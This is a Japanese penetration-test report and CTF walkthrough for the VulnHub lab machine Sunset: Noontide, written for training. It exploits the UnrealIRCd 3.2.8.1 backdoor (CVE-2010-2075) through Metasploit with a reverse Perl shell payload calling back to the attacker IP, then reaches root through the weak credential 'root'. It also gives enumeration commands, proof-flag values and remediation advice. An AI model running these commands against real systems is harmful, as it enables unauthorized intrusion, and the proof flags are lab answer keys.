
説明 Sunset: Noontide VulnHubマシンのプロフェッショナルなペネトレーションテスト評価。偵察、サービス列挙、CVE-2010-2075の悪用、ポストエクスプロイテーション、権限昇格、およびシステム全体の侵害を網羅しています。
Sunset: Noontide のプロフェッショナルなペネトレーションテスト評価およびCTFウォークスルーです。これは VulnHub の意図的に脆弱なマシンです。
本プロジェクトは、偵察、サービス列挙、脆弱性調査、エクスプロイト、初期アクセス、ポストエクスプロイト、権限昇格、侵害の証明、リスク評価、MITRE ATT&CKマッピング、および修復を含む、完全なペネトレーションテストライフサイクルを文書化しています。
⚠️ 免責事項: 本評価は、認可されたラボ環境において、意図的に脆弱なマシンに対して実施されました。ここに記載されている技術およびコマンドは、明示的な認可が得られているシステムに対してのみ使用することを意図しています。
| コンポーネント | 詳細 |
|---|---|
| ターゲット | Sunset: Noontide |
| プラットフォーム | VulnHub |
| ターゲットIP | 10.106.186.186 |
| ターゲットホスト名 | noontide |
| ターゲットOS | Debian GNU/Linux 10 (Buster) |
| アーキテクチャ | x86_64 |
| 攻撃者プラットフォーム | Kali Linux |
| 攻撃者IP | 10.106.186.204 |
| 評価タイプ | 認可されたラボ評価 |
| 総合リスク | CRITICAL |
| 評価結果 | Full System Compromise |
ターゲット探索 → Nmap列挙 → UnrealIRCd 3.2.8.1の特定 → SearchSploit → CVE-2010-2075の特定 → Metasploitエクスプロイト → リモートコマンドシェル → serverとしてのシェル → Linuxポストエクスプロイト → 脆弱なroot認証情報 → su root → UID 0 / rootアクセス → ユーザーおよびrootプルーフファイル
脆弱なターゲットを特定するために、初期のネットワーク探索を実施しました。
最終的にターゲットは以下と特定されました:
10.106.186.186
偵察中に、10.106.186.142 は意図したターゲットではなくデフォルトゲートウェイであると特定されました。
これは、特にブリッジまたは共有ラボネットワークにおいて、さらなるセキュリティテストを実施する前にターゲットを正確に特定することの重要性を強調しています。
以下を使用して、ターゲットに対してNmapのサービスおよびバージョン検出を実施しました:
nmap -sV 10.106.186.186
評価中に特定された重要な公開サービスは以下でした:
6667/tcp open irc UnrealIRCd
次に、以下を使用してより詳細なスキャンを実施しました:
nmap -sC -sV -Pn -p 6667 10.106.186.186
サービスは以下と特定されました:
UnrealIRCd 3.2.8.1
IRCサービスは以下も報告しました:
irc.foonet.com
公開されているUnrealIRCdサービスが、評価中に調査された主要な攻撃対象領域となりました。
SearchSploitを使用して、発見されたUnrealIRCdバージョンに関連する公開文書化された脆弱性を調査しました。
コマンド:
searchsploit UnrealIRCd 3.2.8.1
関連する結果は以下でした:
UnrealIRCd 3.2.8.1 - Backdoor Command Exec
linux/remote/16922.rb
脆弱性は以下と特定されました:
CVE-2010-2075
UnrealIRCd 3.2.8.1 バックドアコマンド実行
Critical
リモートコマンド実行
脆弱なサービスのエクスプロイトに成功すると、攻撃者はターゲットシステム上でコマンドをリモート実行できるようになります。
脆弱なIRCサービスは、Metasploit Frameworkを使用してエクスプロイトされました。
選択されたモジュールは以下でした:
exploit/unix/irc/unreal_ircd_3281_backdoor
設定例:
use exploit/unix/irc/unreal_ircd_3281_backdoor
set RHOST 10.106.186.186
初期のペイロード試行では、使用可能なセッションが得られませんでした。
その後、互換性のあるUnixリバースPerlペイロードが選択されました:
set payload cmd/unix/reverse_perl
set LHOST 10.106.186.204
set LPORT 4444
run
Metasploitは、ターゲットが脆弱であると思われると報告し、コマンドシェルセッションを正常に開きました。
取得したシェルは以下を使用して検証しました:
whoami
結果:
server
これにより、serverアカウントとしてのリモートコマンド実行の成功が確認されました。
初期の作業ディレクトリは以下でした:
/home/server/irc/Unreal3.2
この段階で、評価はリモートサービスエクスプロイトからローカルポストエクスプロイト列挙へと進みました。
シェルを取得した後、侵害されたホストを理解し、潜在的な権限昇格経路を特定するために、標準的なLinux列挙を実施しました。
コマンド:
id
結果:
uid=1000(server) gid=1000(server)
このアカウントは非rootユーザーでした。
コマンド:
hostname
結果:
noontide
コマンド:
uname -a
結果:
Linux noontide 4.19.0-10-amd64 x86_64
コマンド:
cat /etc/os-release
結果:
Debian GNU/Linux 10 (buster)
これらのコマンドにより、現在のID、ホスト名、カーネルバージョン、オペレーティングシステム、および一般的なシステム構成が確認されました。
いくつかの標準的なLinux権限昇格チェックを実施しました。
コマンド:
find / -perm -4000 -type f 2>/dev/null
passwd、chsh、mount、umount、su、chfn、newgrp、gpasswd などの標準的なSUIDバイナリが特定されました。
昇格経路として成功した、明らかなカスタムまたは異常なSUIDバイナリは特定されませんでした。
コマンド:
sudo -l
利用可能な出力から、有用なsudoベースの権限昇格経路は特定されませんでした。
コマンド:
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.hourly/
ls -la /etc/cron.daily/
ls -la /etc/cron.weekly/
観察されたスケジュールされたジョブは、標準的なDebian形式のシステムジョブでした。
明らかな書き込み可能なroot cronジョブは特定されませんでした。
コマンド:
find / -writable -type f 2>/dev/null | head -100
初期の結果は主に /proc の疑似ファイルであり、実用的な権限昇格経路は明らかになりませんでした。
コマンド:
getcap -r / 2>/dev/null
結果の出力から、有用なケイパビリティベースの権限昇格は特定されませんでした。
成功した権限昇格経路は、脆弱なマシンに設定された意図的に脆弱なroot認証情報に基づいていました。
rootアカウントには以下を使用してアクセスしました:
su root
パスワード:
root
次に、以下を使用してrootアクセスを検証しました:
id
結果:
uid=0(root) gid=0(root) groups=0(root)
IDは以下を使用しても確認されました:
whoami
結果:
root
これにより、ターゲットシステムの完全な管理者制御が確認されました。
ユーザーレベルのプルーフファイルは以下にありました:
/home/server/local.txt
コマンド:
cat /home/server/local.txt
結果:
c53c08b5bf2b0801c5d0c24149826a6e
rootレベルのプルーフファイルは以下にありました:
/root/proof.txt
コマンド:
cat /root/proof.txt
結果:
ab28c8ca8da1b9ffc2d702ac54221105
rootプルーフは以下も返しました:
Thanks for playing! - Felipe Winsnes (@whitecr0wz)
両方のプルーフファイルの回収により、初期リモートアクセスからrootレベルの制御に至るまでの侵害の成功が確認されました。
| ID | 発見事項 | 深刻度 | 影響 |
|---|---|---|---|
| VULN-01 | UnrealIRCd 3.2.8.1 バックドア | 🔴 Critical | リモートコマンド実行 |
| VULN-02 | 脆弱なroot認証情報 | 🔴 Critical | 完全な管理者侵害 |
深刻度: Critical
影響を受けるサービス: IRC / TCP 6667
影響を受けるソフトウェア: UnrealIRCd 3.2.8.1
CVE: CVE-2010-2075
攻撃タイプ: リモートコマンド実行
観察された影響: serverとしてリモートシェルを取得
公開されているUnrealIRCdサービスは、既知のバックドアコマンド実行脆弱性に関連する脆弱なバージョンを実行していました。
この脆弱性は、サービス列挙とSearchSploit調査を通じて特定され、Metasploitを使用してエクスプロイトに成功しました。
脆弱なIRCサービスに到達できる攻撃者は、コマンドをリモート実行し、ホストへの不正アクセスを取得できる可能性があります。
深刻度: Critical
影響を受けるアカウント: root
観察された認証情報: root / root
観察された影響: UID 0の管理者アクセス
rootアカウントは、極めて脆弱な認証情報で設定されていました。
serverとしてローカルシェルを取得した後、脆弱な認証情報を使用してrootアカウントにアクセスし、UID 0で検証しました。
ローカルシェルアクセスを取得した攻撃者は、脆弱なroot認証情報を使用してオペレーティングシステムの完全な制御を取得できます。
脆弱なUnrealIRCdインストールを、信頼できるサポート対象のリリースに置き換えてください。
展開前に、ソフトウェアの完全性とパッケージの出所を検証してください。
ソフトウェアの完全性または出所が不確かな場合は、信頼できるインストールメディアと検証済みパッケージを使用してシステムを再構築してください。
デフォルトおよび脆弱な認証情報を、強力で一意の管理者認証情報に置き換えてください。
root のような単純なパスワードを使用しないでください。
IRCが必要な場合は、以下を使用してアクセスを制限してください:
オペレーティングシステムおよびすべての公開サービスに対して、文書化されたパッチ管理プロセスを維持してください。
以下をログに記録し、レビューしてください:
Sunset: Noontide ホストは、初期ネットワークアクセスから完全なrootレベルの制御に至るまで、正常に侵害されました。
主要な初期アクセス脆弱性は、UnrealIRCd 3.2.8.1 バックドア (CVE-2010-2075) でした。
この脆弱性はリモートコマンド実行を可能にし、serverアカウントとしての初期シェルをもたらしました。
その後、SUID、sudo、cron、書き込み可能ファイル、Linuxケイパビリティ、ID、オペレーティングシステム、ファイルシステムのチェックを含むポストエクスプロイト列挙を実施しました。
これらのチェックでは、成功した昇格経路は特定されませんでした。
完全な管理者アクセスは、最終的にマシンの脆弱なroot認証情報を通じて達成されました。
ユーザーレベルとrootレベルの両方のプルーフファイルの回収に成功したことで、完全なシステム侵害が確認されました。
CRITICAL — 完全なシステム侵害を達成
詳細なプロフェッショナルペネトレーションテストレポートが本プロジェクトに含まれています:
Sunset-Noontide-Penetration-Testing-Report.pdf
レポートには以下が含まれます:
推奨されるリポジトリ構造:
sunset-noontide-pentesting/
├── README.md
├── Sunset-Noontide-Penetration-Testing-Report.pdf
└── evidence/
├── 01-target-discovery.png
├── 02-nmap-enumeration.png
├── 03-searchsploit.png
├── 04-metasploit-exploitation.png
├── 05-initial-shell.png
├── 06-post-exploitation.png
├── 07-privilege-escalation.png
└── 08-root-proof.png
スクリーンショットには、認可されたラボ環境からの情報のみを含める必要があります。
本評価は、以下に関する実践的な経験を提供しました:
本リポジトリは、厳密に以下の目的で提供されています:
本リポジトリに記載されている技術は、明示的な認可が得られているシステムに対してのみ実行する必要があります。
許可なく、本番システム、公共インフラ、または第三者のシステムに対してこれらの技術を使用しないでください。
Alen Sales K S
Cybersecurity | Penetration Testing | SOC | Network Security
GitHub: https://github.com/zales2004
Sunset: Noontide は、完全なペネトレーションテストワークフローを実証しています:
偵察 → 列挙 → 脆弱性調査 → エクスプロイト → 初期アクセス → ポストエクスプロイト → 権限昇格 → rootアクセス → 証拠収集 → リスク評価 → セキュリティ報告
評価結果: CRITICAL — 完全なシステム侵害を達成
| テクニック | ID | 観察された活動 |
|---|
| Network Service Scanning | T1046 | Nmap列挙 |
| Exploit Public-Facing Application | T1190 | 公開されたUnrealIRCdサービスのエクスプロイト |
| Command and Scripting Interpreter | T1059 | リモートコマンドシェル |
| Valid Accounts | T1078 | root認証情報の使用 |
| Account Discovery | T1087 | IDおよびユーザー列挙 |
| System Information Discovery | T1082 | uname および /etc/os-release |
| File and Directory Discovery | T1083 | ファイルシステム列挙 |
| Scheduled Task/Job Discovery | T1053 | Cron列挙 |
| Permission Groups Discovery | T1069 | id およびグループ列挙 |
| フェーズ | 活動 |
|---|
| 偵察 | ネットワーク探索とターゲット特定 |
| 列挙 | Nmapサービス/バージョン検出 |
| 脆弱性調査 | SearchSploitおよびMetasploitモジュールの特定 |
| エクスプロイト | UnrealIRCdバックドアのエクスプロイト |
| 初期アクセス | serverとしてのコマンドシェル |
| ポストエクスプロイト | ID、OS、ファイルシステム、権限の列挙 |
| 権限昇格 | SUID、sudo、cron、書き込み可能ファイル、ケイパビリティのチェック |
| 証拠収集 | ユーザーおよびrootプルーフファイル |
| 報告 | 発見事項、リスク分析、修復 |
| 目的 | ステータス |
|---|
| ターゲット特定 | ✅ PASS |
| 公開サービスの特定 | ✅ PASS |
| 脆弱なバージョンの特定 | ✅ PASS |
| CVEの特定 | ✅ PASS |
| リモートコマンド実行 | ✅ PASS |
serverとしての初期シェル | ✅ PASS |
| ユーザープルーフの回収 | ✅ PASS |
| 権限昇格 | ✅ PASS |
| rootアクセスの検証 | ✅ PASS |
| rootプルーフの回収 | ✅ PASS |